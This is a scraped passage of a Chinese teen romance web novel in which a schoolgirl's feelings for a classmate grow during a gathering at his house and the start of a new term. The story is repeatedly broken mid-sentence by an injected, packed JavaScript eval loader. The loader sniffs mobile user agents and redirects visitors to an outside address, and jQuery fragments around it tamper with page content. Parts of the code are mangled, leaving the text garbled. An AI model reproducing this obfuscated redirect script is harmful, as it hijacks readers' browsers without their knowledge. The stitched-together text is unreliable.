舒言强忍着泪水，趴在车窗上和他告别，“爷爷，我知道，你才是要照顾好自己，等我放假了马上回来看你。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236212|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是身体不舒服记得和我打电话，一定不能瞒着我。” 客车开始出发，舒显廷的身影不退后退，直到再也看不见，舒言这才依依不舍地收回了目光。 …… 再过几天就要开学了，回来后舒言和蔡妙妙一起约了出去玩。 她们一起去商场逛了逛，又买了很多好吃的，最后还一起去书店买了下学期要用的教辅。 晚上舒言躺在床上登录Q.Q，正好看见六人小群有人在发消息。 点进去一看，原来是何昭在吐槽他的作业还没做完。 【一只鱼】：别提了，想死的心都有了。 【一只鱼】：怎么会有怎么多作业[崩溃] 【萧萧落木】：就是就是，哥哥在上学都没有人帮我写作业了。 【一只鱼】：天哪，你哥还帮你写作业的吗，他可真是二十四孝好哥哥。 【南港第一帅】：何止呢，她哥还给她洗衣服，做饭，每天按时接送……啥都包了，简直把她当婴儿哄着。 【一只鱼】：你们兄妹感情可真好[赞][赞][赞] 【萧萧落木】：那当然了，我哥哥最喜欢我了[转圈][转圈] 【南港第一帅】：话说起来，马上要开学了，兄弟姐妹们真的不抓紧时间出来玩一下吗[勾引][勾引] 【一只鱼】：玩玩玩，作业写完了吗？ 【南港第一帅】：表面上是一个暑假的作业，实际上是我一个晚上的作业[酷][拽][强] 【一只鱼】：不明觉厉。 【萧萧落木】：不明觉厉。 舒言看乐了，也跟着发了一样的消息。 【南港第一帅】：不是，舒言同学你怎么也学坏了？！ 【南港第一帅】：一个暑假都消失不见，去干嘛了？ 舒言解释说自己回老家陪爷爷去了。 【南港第一帅】：好吧，你们都不知道我暑假是怎么过来的，你们不理我，阿玙也抛下我回北沅潇洒去了。 舒言盯着何昭这条消息愣神，原来谢玙暑假回北沅去了吗…… 【萧萧落木】：阿玙前天已经回来了啊。 【南港第一帅】：什么？这家伙回来都不告诉我[喷火][喷火] 【萧萧落木】：要不我们一起去阿玙家玩吧，反正他家这么大，还很凉快。 【南港第一帅】：去去去，必须去。 【南港第一帅】：大家都一起去，没有人有意见吧@全体成员 【南港第一帅】：好，都没意见是吧，那择日不如撞日，我们明天去一起去。 舒言看着刷屏的消息，刚想说点什么，却忽然看到谢玙出来冒泡了。 【X】：？ 虽然只是一个问号，但舒言仿佛能想象出他此刻的表情，肯定是一脸嫌弃的样子。 她光是想着都没忍住笑了笑。 【南港第一帅】：谢玙你终于出现了，你小子不地道啊，回来了都不告诉我。 【南港第一帅】：之前回北沅不带我就算了，现在回来了也不告诉我，你眼里还有我这个糟糠之兄吗？ 【X】：不会用成语就不要乱用。 【萧萧落木】：阿玙，我们明天来你家玩没问题吧。 【一只鱼】：[暗中观察][暗中观察] 【南港第一帅】：求求了，收留我们吧。 【萧萧落木】：求求了。 【一只鱼】：求求了。 看到满屏的消息，谢玙本来想拒绝的，但想到了什么，又删掉了打好的字，回了个“随意”。 25. 第25章 得到了谢玙的答复，何昭立马张罗起在他家聚会的事情。 【南港第一帅】：就这样定了哦，明天下午去阿玙家，坐标淮水巷5号口不要忘了。 【一只猫】：okok。 【萧萧落木】：对了，明天我哥好像要放假。 【南港第一帅】：那正好啊，霄云回来就有人煮饭了。 【一只鱼】：你这也太没人性了吧，霄云哥好不容易放假，人家现在可是高三。 【南港第一帅】：那我们明天自己做饭？然后等霄云回来吃？ 【萧萧落木】：我不会。 【一只猫】：我也不会。 【南港第一帅】：那怎么办，我也不会啊@X@舒，你们俩能行吗？ 【南港第一帅】：瞧瞧我都忘了，阿玙哪里会做饭。现在只能寄希望于舒言同学了@舒。 舒言看见群里讨论的内容，苦恼地挠了下脸，因为她也不会做饭。 虽然暑假的时候，她说着要学着给爷爷做吃的，但舒显廷完全不让她进厨房，最多也就帮着洗了几次碗。 她在群里回复说自己也不会。 【南港第一帅】：那怎么办，去外面买点吃的吧。 【萧萧落木】：只能这样了。 【一只猫】：赞同。 过了一会儿，谢玙在群里说话了。 【X】：我让家里的阿姨过来做。 【南港第一帅】：哇，阿玙，你真是个好人。 【萧萧落木】：哇哇哇，那可太棒了。 【一只猫】：太好了[打call][打call] 舒言也在群里发了点赞的表情。 之后大家开始在群里报起了菜单。 放下手机后，她双手环抱着腿，头枕在膝盖上，嘴角止不住上扬，心里一直在期待明天的到来。 一个暑假没见，不知道他会不会变得更加帅气，虽然他已经很帅了，是她迄今为止见过的长得最帅的男生。 今天晚上的星星很亮，舒言干脆从床上起来坐到了窗边，她撑着脑袋欣赏着美丽的夜景，然后又在日记本上写了一段话。 【今晚的星星很美 想第一时间分享给你 其实我想说的是 真希望能快点见到你】 …… 第二天早上舒言就和陈岚说了自己要出门的事情。 陈岚想着她上学期期末考得还不错，就没阻拦她，不过还是语重心长地劝她下学期要更加努力，绝对不能松懈。 舒言随口应下。 八月末的南港依旧很热，舒言今天穿了薄荷绿的裙子，裙长刚好到小腿的位置，又把头发梳成了丸子头，清清爽爽的出门了。 她还是先和许漫汇合，然后两人一起坐车过去的。 见到她们以后，何昭的第一句话就是：“舒言同学，你今天怎么跟小葱似的，绿油油又水嫩嫩的。” 虽然他的形容很抽象，但是又有一点道理。 舒言身上的裙子是绿色的，但露在外面的胳膊和小腿又白得晃眼，还真的和葱苗对上了。 许漫白了他一眼，“去去去，有你这么比喻的吗，终于知道你作文为什么这么差了。” 何昭挠挠头，“语文水平有限，舒言同学千万不要嫌弃。” 他们三个还在寒暄的时候，门口的位置突然传来声响。 大家寻声一看，原来是谢玙提着一个大袋子回来了。 他穿着白色体恤和黑色短裤，小腿肌肉线条优美，看上去劲瘦而有力，看见他们以后，快去过来领着他们往里面走。 何昭立马凑了上去，“来来来，阿玙，我帮你提。” 谢玙婉拒了他的好意。 舒言跟在他们身后进了屋，上次比较匆忙，没怎么注意里面的陈设。 今天一看才发现原来里面别有洞天。 穿过一道门后，首先看到的是一个小池塘，池塘里的水是活水，一进来就可以听见潺潺的水声，池塘里养了很多品种的金鱼，旁边还种了些低矮的绿植。 他们跟着谢玙推开门进了一楼的一个房间，里面有沙发和茶几，应该是客厅。 客厅里开着空调，身上的热气瞬间被一股冷意吞噬掉，整个人都神清气爽起来。 谢玙把手里的袋子放在茶几上，嗓音一贯的清淡，“买了些喝的还有吃的，自己随便拿。” 说完很自然地递给舒言一瓶青柠味的汽水。 “谢谢。” 舒言楞了下才接了过来，都没意识到他居然知道自己的口味。 谢玙转身去里面洗了把脸才出来，他搬了把椅子坐在旁边，从袋子里又拿出瓶青柠味汽水，拧开咕噜咕噜喝了好几口。 舒言用余光去瞄他的侧脸，又看向他喝水时滚动的喉结，没忍住咽了下口水。 果然还是那么的秀色可餐啊。 在他发现前，舒言又若无其事地把目光收回，嘴角上扬，原来他和自己一样喜欢喝青柠味的汽水。 真好，能和他拥有相同的喜好。 舒言又拿起汽水喝了几口。 时间还很早，梁霄云和梁潇雨也还没来。 何昭和许漫坐在沙发上玩俄罗斯方块，两个人在比拼谁的手速更快。 舒言的目光总是不由自主地往谢玙的方向瞥，就好像他身上有磁石一样。 仅仅是这样看着他，她都觉得好开心。 “要看电视吗？”谢玙猝不及防地偏过头，把遥控器递到她面前。 舒言的视线和他正好撞了个正着，她猛地一惊，可还是把遥控器接了过来。 其实根本没有看电视的心思，舒言心不在焉地按了几下，最后停在了少儿频道。 上面正好在放喜羊羊与灰太狼。 谢玙挑了下眉，像是有些惊讶，“喜欢看这个？” 听见他的话，舒言这才回过神来，发现她居然按到了少儿频道。 未免他觉得自己太过于幼稚，舒言果断否认：“不喜欢。” 然后又加了一句，“小时候喜欢。” 谢玙定定地盯着她看了几秒，发现她一直坐得很端正，忍不住出声提醒她，“你这样坐着不累吗？” 舒言抿抿唇，只是看向他的眼神多少有点茫然，一时之间，手更不知道往哪里放了。 谢玙轻咳了一声，默默移开了视线。 过了一会儿，他又说：“既然你不喜欢看电视，那要不要和我去其他房间逛逛？” 闻言，舒言眼神明显一亮，“可以吗？” 谢玙眸光微动，弯了下唇，“当然。” 说完直接站了起来，眼神示意舒言跟着他走。 舒言和他一起上了二楼，进了左拐的第一个房间。 进去以后，舒言立马意识到这是书房。 这个房间很大，进门左手边的那面墙上全是书，窗户旁边还有一张很大的书桌。 舒言凑近一看，才发现上面还有几副毛笔字。 她礼貌询问：“我可以看看吗？” 谢玙：“你随意。” 舒言这才认真打量起这几幅字，认出来临摹的是赵孟頫的行书。 用笔饱满，骨力十足，气韵生动。 听何昭说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236213|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像是一个人住，所以这些字都是他写的？ 仿佛看出她心中所想，谢玙主动说出这些字是他昨天下午写的。 舒言垂眸欣赏着另外几副字，忍不住发出惊叹，“你写得真的很好。” “还行吧，不过是依葫芦画瓢罢了。”谢玙也走到了书桌前，他重新拿出一张宣纸，又取出毛笔递给她，“要不要试试？” 舒言的第一反应是拒绝，因为她好多年都没有写过毛笔字了，只是面对他的主动邀请，她又实在不舍得拒绝。 她硬着头皮接过毛笔，思索在要上面写什么。 谢玙站在对面给她磨墨，见她迟迟没有下笔，顿时心领神会：“是不知道写什么吗？” 舒言一脸求助地看向他。 难得看见她也有犯难的时候，谢玙喉间溢出一声轻笑，上半身往她的方向倾了点，他提议道：“那我来念，你来写？” 舒言自然是没有意见的，她用毛笔蘸了点墨汁，静候他的下文。 “让我想想看。”谢玙垂首沉思了半响，抬起头时，目光如炬：“我开始念了哦。” 舒言轻“嗯”了一声。 下一秒，他清冷磁性的声音在安静的书房里响起。 “初见乍惊欢——” 舒言提笔写下第一句。 “久处亦怦然。” 第二句落入耳中的时候，舒言才察觉到哪里有点不对劲。 他念的怎么是情诗…… 不过舒言还是按照他说的写下。 可当他念到第三句的“愿可共白首”时，舒言确实有些不淡定了。 抬起头看他，却直接撞进他那双清明澄澈的眼眸，每次对视都让她忍不住深陷其中。 见她停下了，谢玙还一脸贴心地问她怎么了，像是丝毫没有意识到他方才念的诗句别有深意。 良久的对视下，舒言率先挪开了眼，她脸颊发烫，不敢再去看他的眼睛。 低下头，如实回答：“我有点……写不下去了。” 写毛笔字时讲究心平气和，可她现在动了别的心思，怎么可能继续专注写字。 “嗯？”谢玙像是感到迷惑，他走到她身后的位置，低下头认真在看她写好的那两句。 天知道她多想用东西把她写的这副字挡起来。 她写的毛笔字和他的比起来，简直就像是小学生字体一样。 舒言有点后悔尝试了。 谢玙手撑在书桌上，稍微弯了点腰，侧过头一脸认真地点评：“挺好的。” 然后又用那种带着诱惑的语气问她：“想不想更好一点？” 更好一点吗…… 舒言不解地转过头和他对视，这才发现他们离得很近，干净清冽的少年气息争先恐后地钻入她的鼻息。 鬼使神差下，舒言昏了头似的点了点头。 谢玙琥珀色的眼眸温柔无比，他轻勾了下唇，说：“好。” “那你先握住毛笔。” 虽然不明白他究竟要怎么让自己的毛笔字变得更好看，但舒言还是按他说的照做了。 “会介意……”他略感纠结地顿了下，眼睛却直勾勾地看了过来，“我可能会碰到你的手吗？” 话音落下的那刻，带着干燥温暖的指腹轻轻从她手背一掠而过。 手上被碰到的地方仿佛有电流经过，奇异的酥麻感沿着神经系统抵达四肢八骸。 墙上钟表发出的嘀嗒声像是在回应她胸腔里狂烈的心跳声，另只手胡乱地抓住了身上的裙子。 可他还在等待着她的回答。 而她又怎么可能说得出拒绝的话。 26. 第26章 从书房的窗台望下去正好可以看到院子里那几株开得正盛的粉色蔷薇花，午后的蝉鸣声不绝于耳。 舒言写字的时候，谢玙就站在她身后，保持着适当的距离，也不催促她，只是耐心地等待。 舒言的感觉器官仿佛全都集中在耳朵还有手背的皮肤上，紧张得浑身僵硬，手下的毛笔也开始不听指挥。 他及时替她扶稳毛笔，“专心点。” 少年清润的声音宛若贴着她的耳朵说出，让她的耳根连带着脖子红了一大片。 她几乎是由他带着写完剩下的两句诗。 可从始至终他的触碰都把握着恰到好处，并不会让人觉得抵触或是刻意。 只会在必要时才会指点她一下。 而且每次碰到她的时候，谢玙都会很有礼貌地询问她是否可以。 可他的这份冷静克制却让她内心更加煎熬。 明明几分钟就可以写完的字，她硬是写了半个多小时。 等写完这首诗的时候，舒言感觉自己的耳朵热得像是快熟了。 不过后面两句诗果然比她自己写得要好看一些。 只是当这首诗完全呈现在她面前，还是没忍住在心里泛起涟漪。 他真的不知道这是一首情诗吗？ 舒言不自觉地在心里默念了一遍。 初见乍惊欢，久处亦怦然。 愿可共白首，余生常相伴。 她念诗的时候，窗外忽然有风吹了进来，宣纸被风猛地掀起一角，她赶紧用手压了下去。 可被手压过的地方却起了褶皱。 夏天的阳光很明媚却刺眼得很，连吹进来的风也燥热不已。 可舒言心里却没有半点烦躁，脑海里全是慧能大师那句“不是风动，不是幡动，仁者心动”。 是啊。 不是风动，不是幡动，是她心动了。 可她并不敢回过头去瞧他的眼睛，去确认他是不是也有片刻的心动。 但如果她此刻稍微转个身，便会发现身后的少年也和她一样悄悄红了耳朵，他并不像他所表现的那么淡定。 最后还是谢玙先打破了沉默，他走到她身旁，白皙修长的手指轻按在纸上。 “写得很好看。” 舒言却被他的手吸引，指骨分明细长，指甲圆润，指尖透着粉，手背薄薄一层的皮肤下青筋乍现，好似艺术家静心雕刻的艺术品。 可越看她的心越像搅成一团的毛线，她别开眼说了句谢谢。 偏偏余光里全是他被光影偏爱的优越侧脸，这一刻，舒言意识到自己其实挺贪心的。 明明已经很幸运地和他相识，后面又偷偷喜欢上他，可她现在甚至开始在心里期待着他也能回应自己。 哪怕他的视线只是在她身上短暂的停留。 这某个瞬间，眼泪差点夺眶而出。 舒言只能装作不经意地看向窗外，生怕他发现自己的异样。 她不敢在他面前暴露半分，害怕他们连朋友都没得做。 舒言写的这副字被谢玙小心收了起来，并不像他自己写的那样随意放着。 见她一直在看窗外，虽然他也不知道外面到底有什么好看的。 沉默了半响，谢玙注视着她的侧脸问了句：“作业写完了吗？” 闻言，舒言收回视线，却刻意避开了他的眼睛，只说：“写完了。” 谢玙自顾自地笑了下，“也是，你一直都很认真，作业肯定是早就写完了的。” 舒言盯着自己的鞋尖看，还是没忍住关心他，“你呢，写完没有？” 见她还是不肯看自己，谢玙手搭在椅背上，起了点逗弄的心思，他故意一脸严肃地说：“额，问你件事……” 舒言不明所以地抬头看向他，“什么？” 看见她终于愿意看向自己，谢玙这才弯了下唇角。 他撩了下眼皮，语气很认真：“在你眼中，是不是觉得我每天都在玩音乐，都不怎么学习的？” 舒言被他这个问题问住，嘴唇嗫嚅，最后脱口而出：“才不是。” 怕他不信，又着急补充道：“术业有专攻，只要有自己热爱的事情就很好。” “而且你以后如果考音乐学院，文化分的要求本来就没那么高。” 谢玙乐了，“谢谢你这么理解我啊。” “不过我在学校也有好好学习的，虽然成绩肯定比不上你。” 他一字一句地看着她说：“音乐确实是我热爱的，但是我会尽量兼顾好音乐和学习，不会让自己落后你太多，暑假作业我也是做完了的。你能明白吗？” 舒言眨了下眼睛，很难不去反复揣测他话里的意思。 她像是在做阅读理解一样，生怕自己会错意。 谢玙见她脸上有些茫然，显然没有完全明白自己的意思。 他无声地叹了口气，主动结束了这个话题，“好啦，我们下去吧，梁霄云他们应该快到了。” 在转身前，又特意和她说：“晚上有很多好吃的，记得多吃点。” 舒言心情复杂，应了声好。 …… 晚上的菜果然很丰盛，菜多到桌子都快放不下了。 饭菜的香气勾得大家食指大动，恨不得坐下大吃特吃。 何昭看着菜的眼神都在发光，往嘴里塞了一口排骨，“天哪，真的好吃吃。” 许漫很难不赞同他，“我也觉得，太好吃了。” 梁霄云身上还穿着校服，显然是下课后就直接过来的，他把剥好的虾放进梁潇雨碗里，语气温柔：“潇雨，你爱吃的虾。” 梁潇雨扬起小脸，甜甜一笑，“谢谢哥哥。” 许漫发出羡慕的感慨，“这也太幸福了吧，霄云哥简直是个妹控。” 何昭往嘴里塞了片凉拌毛肚，又扒了一口饭，“可不是嘛，长这么大也没谁给我剥虾。” 他朝坐在右手边的谢玙挤眉弄眼，“阿玙，要不你给我剥一个？” 谢玙斜睨了他一眼，“你自己没手吗？” 何昭做了个娇羞的表情，“人家也想和潇雨一样被哥哥疼爱嘛。” 谢玙脸上的表情更加嫌弃了，不耐烦地说：“何昭，正常点好吗。” 何昭：“……” 自己可怜兮兮地夹了只虾。 看得许漫毫不客气地笑了起来。 梁霄云有些不忍心地说，“好啦，我给你们都剥一个。” 许漫眼神发光，“哇，霄云哥你可真好。” 何昭附和道：“就是就是，才不像某人一样凶巴巴的。” “我跟你们说学校那些女生就是不知道某人的真面目，被他这副清风霁月的外表给骗了。” 梁潇雨拿着勺子的手顿了下，试探地问了句：“现在喜欢阿玙的人还是很多吗？” 谈到这个话题，何昭根本停不下来，“多得很，每天一群妹子特意跑到我们班教室门口看他。” “不过上周1班那个周荔没来了，但是你们22班那个赵欢宜来得更勤了……” 梁潇雨小口喝着汤，敛去眼中一闪而过的失落，看向话题的中心人物，笑着说：“那阿玙还真的是很受欢迎了。” “我们班好多男生都喜欢赵欢宜呢，但她一个都看不上。” 何昭又说：“她确实也挺漂亮吧，不过性格没周荔那么外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236214|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向，要内敛一些。” 说到这个话题，许漫弱弱地举起手，“其实我们班也有人喜欢谢玙。” 她看向谢玙，又说：“而且我感觉我们宿舍有个舍友也喜欢你，舒言，你有没有觉得？” 听见她的话，舒言心都快跳到嗓子眼了，不过很快反应过来她说的应该是鹿铃儿。 在大家八卦的眼神下，舒言情绪不高地点了下头。 “可能是的吧……我也不太清楚。” 说完神色恹恹地盯着碗里的菜，明明色香味俱全，却突然失去了食欲。 他很受欢迎这件事，她一直都知道的。 可每次听见他们说起这件事，她还是很难不去在意。 替他感到高兴，又替自己感到难过。 舒言小心翼翼地往谢玙的方向看了一眼，心里止不住地在想—— 有这么多的人喜欢他。 那他呢？ 会不会其实也有了喜欢的人。 一想到有这种可能，舒言心里就闷得慌。 如果他有了喜欢的人，那她恐怕很快连偷偷喜欢他的资格都没有了。 似乎是感应到她的视线，谢玙朝她看了过来。 他表情有点奇怪，“你……” 舒言呼吸一滞。 听见他不太确定地问：“是想吃我剥的虾？” 舒言这才发现原来他戴着手套在剥虾。 可下一秒，他手上那只虾就脱掉外壳出现在她的碗里。 见她没动筷子，以为是嫌弃虾剥得不好，谢玙难得有些尴尬地说：“第一次剥，没啥经验。” 目睹全程的何昭瞪大了眼睛，“不是，谢玙，你这个重色轻友的家伙。” 谢玙轻咳了一声，敛睫，挡住眼里的不自在。 又欲盖弥彰地用筷子给何昭夹了几块肉，“你也多吃点。” 何昭这才大发慈悲地放过了他，嘴里嘟囔着：“这还差不多，你可不能因为认识了舒言同学就抛弃我啊。” 谢玙额角的青筋跳了跳，到底还是忍住了。 他下意识地看向舒言的方向，见她神色如常，这才放下心来。 桌上其他几个人也没多想，毕竟何昭争风吃醋的戏码每周都要上演好几次。 舒言看着碗里的那只虾，心里那点别扭也都消失了。 她一口咬了下去，虾肉紧实饱满，唇齿间都是清甜的滋味。 又不禁在心里笑自己刚才想得太多，以后的事情谁又能说得准呢，她能做的只有珍惜现在。 吃完饭后，何昭撑得只能扶着墙走。 他现在后悔不已，“天哪，不应该吃这么多的。” 许漫也摸了摸自己圆鼓鼓的肚子，“别提了，我也是，应该忍住的的。” 看着他们俩现在的样子，梁霄云忍俊不禁，提议道：“你们在院子里走走，消消食吧。” 何昭和许漫对视一眼，觉得十分有道理，就一起往院子里去了。 梁潇雨过来挽住他的胳膊，歪着头冲他撒娇，“哥哥，你也陪我走走。” 梁霄云摸摸她的头，“好，我陪潇雨散散步。” 房间里就只剩下舒言和谢玙。 这会儿外面没有那么热了，天边霞光绚烂，天空被染成了橘红色。 她伸出手指指着外面说：“要一起出去走走吗？” 谁知谢玙掀起眼皮反问道：“你想和我一起吗？” 舒言征了一瞬，心想这两句话有什么区别吗？ 不过还是顺从内心的声音，说：“我想和你一起。” 谢玙眸光微动，盯着她看了好几秒才移开视线，说：“那就一起。” 27. 第27章 很快就到了开学的日子。 到学校以后，舒言先去宿舍收拾东西，然后才去了教室。 这学期她们升了高二，教学楼也往后挪了一栋，不过他们班的教室还是在五楼。 爬楼梯的时候，舒言听见有人在叫自己，声音还有点怯怯的。 舒言停下转头一看，发现原来是张筱竹。 张筱竹小跑着上楼，和她停在了同一级台阶上。 看向她的眼神有点不好意思，但还是羞涩地笑了笑。 “嗨，舒言，好巧。” 舒言也回了个微笑，“张筱竹，好巧。” 盯着她的脸看了半响，舒言才反应过来，她没有戴口罩了，而且她的脸…… 见舒言一直在看自己，张筱竹撩了下耳边的刘海，语气愉悦：“我妈妈带我去看了你推荐的那个老中医，吃了两副中药后，脸果然就好了。” 舒言笑着说：“恭喜你，真好啊。” 她看得出来摘下口罩后，张筱竹明显比以前自信了很多。 张筱竹也看着她笑，“还是得多谢谢你。” 她取下书包，从里面拿出几包饼干递给舒言，“这些饼干给你吃，希望你会喜欢。” 舒言也没和她客气，开心地接了过来，“不客气，我们一起去教室吧。” 张筱竹点头，一脸欣喜地说：“好啊。” 两个人一起说说笑笑往五楼走去。 等到了教室，舒言随便找了个靠窗的位置坐下。 蔡妙妙忽然出现在她身后，拍了拍她的肩膀。 舒言差点被她吓了一跳，一脸无奈地说：“妙妙，下次能不能考虑一下我的小心脏。” 蔡妙妙咧嘴一笑，飞快坐到前排的位置，然后转过身压低了声音问她，眼睛还一直往某个方向瞟。 “言言，刚才和你一起进教室的人是张筱竹吗？” 舒言：“是啊。” 蔡妙妙吃惊地捂住嘴巴，“天哪，还真的是她，我刚才都没敢认，不过看着有点像她。” “不过她今天居然没有戴口罩诶，天哪，我好像是第一次看见她的脸，原来她长得还挺好看的。” “为什么之前用戴口罩把脸遮起来了呢，其实我之前就想问她难道不觉得很热吗，不过因为和她不太熟，就没好意思问。” 舒言听后只笑了笑，并没有多说什么。 她们坐着聊了一会儿天，没过多久，班上的同学基本都来教室了。 开学第一天的晚自习，按照惯例是要换座位。 蔡妙妙依依不舍地抓住舒言的手，“言言，我们一定还要在一个小组啊。” 舒言自然也是想和她一起的，“我也希望。” 陈质在一旁赶紧说：“还有我，我也想和你们坐一起。” 蔡妙妙：“看在你上学期表现还不错的份上，就勉强答应你了。” “不过……”她皱了下眉头，“还是得看冉老师怎么安排。” 冉华容一向比较民主，高一的时候都是让他们自由组成小组，然后她适当的调整。 只是不知道这学期还会不会延续惯例。 上课铃声响起后，冉华容标致性的高跟鞋声音在教室外响起，很快她就出现在教室前门。 她穿了件藕荷色的旗袍，头发盘起，身姿优雅地站在了讲台上。 冉华容先是环视了一圈教室，才笑着开口：“很高兴再次在教室看到各位同学。” “这学期我们一起迈入了一个阶段，成为了高二的学生，这不仅意味着同学们又大了一岁，还意味着学习难度的加大。” “上学期的期末考试大家都考得不错，新的学期我们继续加油。在此提醒同学们尽快收心，把心思放到学习上来。” 说完以后，冉华容又组织大家把暑假作业收了起来，才开始说换座位的事情。 “高二这一年我们还是实行人性化的制度，由大家自由组成小组，我只稍做调整。” 最后，舒言和蔡妙妙还有陈质还是一个小组，他们小组的人还有夏艺，李嘉，王远，许茉许愿两姐妹，夏艺是组长。 舒言继续和陈质做同桌，而蔡妙妙的同桌变成了夏艺。 夏艺是他们班班长，学习成绩好，各方面能力也很强。 她转过来和他们打招呼，“真开心，以后我们就是一个小组的了。” 她拉住舒言的手，眼巴巴地说：“以后请多多指教我的语文好吗？孩子想上120。” 舒言和她握手，“互相帮助。” 夏艺俏皮地眨了下左眼，“确认已经达成共识。” 今天的晚自习没有上课，到这学期的教材已经发下来，舒言随意翻了翻书，开始预习课本。 等到了三晚，她又开始写稿子。 经过一个暑假的沉淀，她脑海里的灵感如泉水般涌出，很快就构思好了一篇文章。 舒言偏爱写散文，但考试时的作文题目大多都是议论文，所以平时写文章时她总是优先考虑散文。 在她的笔下有很多关于生命，梦想，春天以及自我的思考，她喜欢沉浸在文字的世界里，这让她觉得很治愈。 — 高一新生入学的第五天迎来了新一届的社团招新。 社团招新的地方在行政楼前的空地上，这里是通往一食堂的必经之路。 学校现有的社团有三十个多，每个社团都有一个固定的小摊位。 舒言和社团的同学一起把校报社的易拉宝摆好，就站在摊位上等着高一的学弟学妹前来光顾。 吃过午饭后，行政楼前陆陆续续来了很多学生。 大家这里看看那里看看，青春稚嫩的脸上写满了好奇。 宣传部部长卢月热情地和路过的学生介绍，“学弟学妹，对写作感兴趣吗，如果感兴趣就加入我们校报社吧。” 舒言也在给学弟学妹们耐心讲解，“我们校报社是每个月发行一次校报，你们也可以来投稿，稿子被录用了以后还会有稿费。” 又有人问加入校报社对写作有没有帮助。 舒言微笑着说：“如果你坚持给校报投稿，写作能力肯定会提高的。” 见状，卢月趁机揽住舒言给高一的学生们介绍：“学弟学妹们，站在你们面前的这位学姐，从高一开始，每次考试语文作文都是年级第一，作文经常满分。” “现在这么好的一个机会就摆在你们面前，想提升写作的学弟学妹，还不快点抓住机会，机不可失时不再来哦。” 她这话一出，瞬间吸引了好多学生的注意，纷纷向舒言投来了钦佩的眼神。 很快就涌过来一群人填了报名表。 卢月一脸得意地朝她挑了个眉，仿佛在说我机智吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240903|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >舒言无声一笑，继续给大家科普社团的情况，“我们社团还有很多福利，比如节日礼物，团建什么的，这学期学生节的时候也会给大家准备小惊喜。” 学校每学期都会拨给社团一笔活动资金，用作社团平时的活动支出以及给成员的福利。 当然每个学期都有社团活动日，在那天社团可以自由摆摊，也可以赚取活动经费。 舒言继任社长的时候，还从上一届社长那里继承了“一大笔”财产。 她低着头在整理学弟学妹们的报名表，忽然耳尖的听见几句熟悉的声音。 九月份的阳光依旧炙热，校报社的摊位设在树荫下，她抬起头，看见何昭拽着谢玙从阳光底下走来，金色的光晕似流沙般覆在他们身上。 何昭抹了把脸上的汗珠，一如既往地热情：“哈喽，舒言同学，好巧啊，在这里碰上。” 舒言抿唇轻笑，注意到他们来的方向，问：“你们是刚从食堂过来吗？” 谢玙闲散地扫视了一圈四周，最后把目光锁定在她身上：“是的，你吃过没？” 舒言点点头。 他们班上午最后一节课是体育课，中午又有社团招新，所以就提前去吃了饭。 何昭凑近去看易拉宝上的字，一字一句地读着：“校报社，如果你热爱写作，就请加入我们。” 他又往下面念，“社长——舒言？！！” 说完猛地抬起头，惊讶地问：“我靠，舒言同学，你还是社长啊。” 舒言笑意清浅：“是的。” 眼睛却习惯性地看向谢玙。 他今天穿着白色的夏季校服，解开了最上面那颗扣子，露出一截冷白修长的脖颈，精致的锁骨若隐若现。 像是被刺眼的太阳照得有些睁不开眼睛，他眼皮半阖着，整个人透露出一股慵懒的劲。 舒言正想招呼他往里面站点，一道含着怯的声音插了进来。 “这位学长也是校报社的吗？” 寻声看去，是一个扎着马尾的学妹，她怀里抱着本书，仰起雪白小脸好奇地打量着谢玙。 “我不是。” 谢玙神色倦懒，看也没看她地说。 学妹眼里滑过一丝失落，又露出个娇俏的笑容，看着舒言说：“学姐，我想加入校报社。” 舒言递给她一张报名表，又拿了支笔给她。 道过谢后，那位学妹就到旁边的桌上填表去了。 何昭轻啧了一声，往那边看了一眼，“不是，我说舒言同学。这高二的能加入不？” 舒言表情有些为难，“不行，只能高一的加入。” 何昭一脸遗憾，“那好吧，我还说加入来玩玩呢。” 头顶的太阳不知何时变换了方向，毫无保留地照了过来，舒言被晃得抬手挡了下眼睛。 